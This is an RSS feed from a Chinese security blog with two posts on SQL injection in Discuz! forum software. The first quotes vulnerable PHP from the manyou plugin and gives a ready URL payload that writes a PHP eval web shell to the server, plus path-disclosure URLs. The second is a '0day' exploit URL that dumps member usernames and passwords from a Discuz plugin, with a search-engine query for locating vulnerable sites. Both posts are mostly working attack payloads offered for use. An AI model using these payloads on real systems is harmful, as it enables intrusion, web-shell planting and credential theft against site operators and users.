<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; 注入</title>
	<atom:link href="http://www.4shell.org/archives/tag/%e6%b3%a8%e5%85%a5/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Discuz! 7.2 最新注入漏洞分析与利用</title>
		<link>http://www.4shell.org/archives/1616.html</link>
		<comments>http://www.4shell.org/archives/1616.html#comments</comments>
		<pubDate>Fri, 12 Mar 2010 03:53:51 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1616.html</guid>
		<description><![CDATA[在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中，没有对传入的参数进行检查，在GPC为off的情况下，导致注入漏洞的产生。 漏洞分析： 文件./manyou/sources/notice.php 相关代码： if($option == 'del') { $appid = intval($_GET['appid']); $db-&#62;query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'"); showmessage('manyou:done', 'userapp.php?script=notice&#38;action=invite'); } elseif($option == 'deluserapp') { $hash = trim($_GET['hash']); //此处并没有进行过滤，直接导致注入的产生 if($action == 'invite') { $query = $db-&#62;query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'"); if($value = $db-&#62;fetch_array($query)) { $db-&#62;query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'"); [...]]]></description>
			<content:encoded><![CDATA[<p>在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中，没有对传入的参数进行检查，在GPC为off的情况下，导致注入漏洞的产生。<br />
漏洞分析：<br />
文件./manyou/sources/notice.php</p>
<p>相关代码：</p>
<blockquote><p>if($option == 'del') {</p>
<p>$appid = intval($_GET['appid']);</p>
<p>$db-&gt;query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");</p>
<p>showmessage('manyou:done', 'userapp.php?script=notice&amp;action=invite');</p>
<p>} elseif($option == 'deluserapp') {</p>
<p>$hash = trim($_GET['hash']);    //此处并没有进行过滤，直接导致注入的产生</p>
<p>if($action == 'invite') {</p>
<p>$query = $db-&gt;query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");</p>
<p>if($value = $db-&gt;fetch_array($query)) {</p>
<p>$db-&gt;query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");</p>
<p>showmessage('manyou:done', 'userapp.php?script=notice&amp;action=invite');</p>
<p>} else {</p>
<p>showmessage('manyou:noperm');</p>
<p>}</p>
<p>} else {</p>
<p>$db-&gt;query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");</p>
<p>showmessage('manyou:done', 'userapp.php?script=notice');</p>
<p>}</p>
<p>}
</p></blockquote>
<p><span id="more-1616"></span><br />
很简单的一个漏洞。在没有查询结果返回的情况下我们往往只有采取盲注的方式，但如果当前数据库帐号有File_priv的话我们也可以直接into outfile</p>
<blockquote><p>/userapp.php?script=notice&amp;view=all&amp;option=deluserapp&amp;action=invite&amp;hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,</p>
<p>NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23</p></blockquote>
<p>0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E是<?php @eval($_POST['O']);?><br />
的十六进制表示。<br />
但想<br />
into outfile的话，我们还得有web的物理路径，有两种爆路径的方法<br />
/manyou/admincp.php?my_suffix=%0A%0DTOBY57<br />
/manyou/userapp.php?%0D%0A=TOBY57</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2009年08月15日 -- <a href="http://www.4shell.org/archives/1015.html" title="Discuz!账号发放插件注入0day">Discuz!账号发放插件注入0day</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li><li>2011年09月21日 -- <a href="http://www.4shell.org/archives/2035.html" title="WPA2不再安全 无线加密协议曝惊天漏洞">WPA2不再安全 无线加密协议曝惊天漏洞</a></li><li>2010年08月3日 -- <a href="http://www.4shell.org/archives/1829.html" title="黑帽大会：HTTPS和SSL存在安全漏洞">黑帽大会：HTTPS和SSL存在安全漏洞</a></li><li>2010年07月3日 -- <a href="http://www.4shell.org/archives/1788.html" title="风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞">风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1752.html" title="JBoss企业应用平台JMX控制台安全绕过漏洞">JBoss企业应用平台JMX控制台安全绕过漏洞</a></li><li>2010年03月17日 -- <a href="http://www.4shell.org/archives/1622.html" title="网页编辑器漏洞手册">网页编辑器漏洞手册</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1616.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz!账号发放插件注入0day</title>
		<link>http://www.4shell.org/archives/1015.html</link>
		<comments>http://www.4shell.org/archives/1015.html#comments</comments>
		<pubDate>Fri, 14 Aug 2009 16:19:58 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[注入]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1015.html</guid>
		<description><![CDATA[作者： 普瑞斯特 Discuz账号发放插件注入0day 插件名:2Fly礼品(序号)发放系统 漏洞文件:2fly_gift.php 版本:最新版 Exp: http://www.xxx.com/2fly_gift.php?pages=content&#038;gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members 搜索引擎特征:inurl:2fly_gift.php 上图: 相关文章2010年03月12日 -- Discuz! 7.2 最新注入漏洞分析与利用2009年08月28日 -- dedecms 5.3 – 5.5注入漏洞2008年11月9日 -- Discuz! $_DCACHE数组变量覆盖漏洞2012年02月10日 -- Xpath SQL Injection2011年06月6日 -- Easy Media Script SQL Injection Vulnerability2011年05月12日 -- Joomla Component com_hello SQL Injection Vulnerability2010年06月10日 -- 你还敢执行txt文件吗？Windows 0day 2010年06月6日 -- Havij v1.1 [...]]]></description>
			<content:encoded><![CDATA[<p>作者： 普瑞斯特</p>
<p>Discuz账号发放插件注入0day</p>
<p>插件名:2Fly礼品(序号)发放系统<br />
漏洞文件:2fly_gift.php<br />
版本:最新版<br />
Exp:<br />
<span id="more-1015"></span><br />
http://www.xxx.com/2fly_gift.php?pages=content&#038;gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members<br />
搜索引擎特征:inurl:2fly_gift.php<br />
上图:<br />
<img src="http://www.4shell.org/wp-content/uploads/2009/08/200908141228238711.png" alt="200908141228238711" title="200908141228238711" width="556" height="395" class="alignnone size-full wp-image-1013" /><br />
<img src="http://www.4shell.org/wp-content/uploads/2009/08/200908141228366411.png" alt="200908141228366411" title="200908141228366411" width="555" height="394" class="alignnone size-full wp-image-1014" /></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2009年08月28日 -- <a href="http://www.4shell.org/archives/1066.html" title="dedecms 5.3 – 5.5注入漏洞">dedecms 5.3 – 5.5注入漏洞</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li><li>2012年02月10日 -- <a href="http://www.4shell.org/archives/2080.html" title="Xpath SQL Injection">Xpath SQL Injection</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1955.html" title="Easy Media Script SQL Injection Vulnerability">Easy Media Script SQL Injection Vulnerability</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1926.html" title="Joomla Component com_hello SQL Injection Vulnerability">Joomla Component com_hello SQL Injection Vulnerability</a></li><li>2010年06月10日 -- <a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li><li>2010年06月6日 -- <a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1015.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

